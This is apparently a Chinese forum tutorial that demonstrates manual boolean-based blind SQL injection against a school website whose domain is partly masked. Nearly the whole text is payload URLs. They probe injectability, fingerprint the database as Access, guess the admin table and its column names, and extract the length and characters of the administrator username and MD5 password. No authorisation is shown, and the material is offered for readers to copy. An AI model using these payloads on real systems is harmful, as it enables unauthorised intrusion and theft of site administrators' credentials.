SQL注入这么长时间,看见有的朋友还是不会手工注入,那么我来演示一下。高手略过。
我们大家知道,一般注入产生在没经过虑的变量上,像ID?=XX这样的。
下面以这个网址为例:
http://zsb.xxx.edu.cn/2j.asp?id=24 and 1=1 返回了正常
http://zsb.xxx.edu.cn/2j.asp?id=24 and 1=2 返回了错误
1=1是一个真,1=2是一假,所以会返回一个正常一个错误。
SQL数据就会变成如下:
select * from 表名 where 字段='24'
或者:
http://zsb.xxx.edu.cn/2j.asp?id=24 and '1'='1'
http://zsb.xxx.edu.cn/2j.asp?id=24 and '1'='2'
注入存在了,判断数据库是ACC或MSS的,利用系统表
ACCESS的系统表是msysobjects,且在WEB环境下没有访问权限,而SQL-SERVER的系统表是sysobjects,
在WEB环境下有访问权限。对于以下两条语句:
http://zsb.xxx.edu.cn/2j.asp?id=24 and (select count(*) from sysobjects)>0
http://zsb.xxx.edu.cn/2j.asp?id=24 and (select count(*) from msysobjects)>0
若数据库是SQL-SERVE,则第一条,网页,一定运行正常,第二条则异常;若是ACCESS则两条都会异常。
我们提交后两条后都为异常,可以判断为ACC的数据库。
图3。
http://zsb.xxx.edu.cn/2j.asp?id=24 and (select count(*) from 表名)>0
如果表名存在就会返回正常,反页错误。
刚开始我提交:
http://zsb.xxx.edu.cn/2j.asp?id=24 and (select count(*) from admin)>0
返回错误,说明不存在ADMIN这个表,当后来提交这个返回正常:
http://zsb.xxx.edu.cn/2j.asp?id=24 and (select count(*) from article_admin)>0
说明存在article_admin这个表。
猜列名:
and (select count(字段名) from article_admin)>0
提交:
http://zsb.xxx.edu.cn/2j.asp?id=24 and (select count(username) from article_admin)>0
返回了正常,接着提交:
http://zsb.xxx.edu.cn/2j.asp?id=24 and (select count(password) from article_admin)>0
返回了正常,说明存在username和password这两个字段名。
猜用户名和密码长度;
http://zsb.xxx.edu.cn/2j.asp?id=24 and (select top 1 len(username) from article_admin)=5
返回正常,说明username内容长度为5
http://zsb.xxx.edu.cn/2j.asp?id=24 and (select top 1 len(password) from article_admin)=16
正常,password内容长度为16,也就是MD5的值。
猜用户名和密码内容:
http://zsb.xxx.edu.cn/2j.asp?id=24 and (select top 1 asc(mid(username,1,1)) from article_admin)=97
返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。
猜第二位把username,1,1改成username,2,1就可以了。
猜密码把username改成password就OK了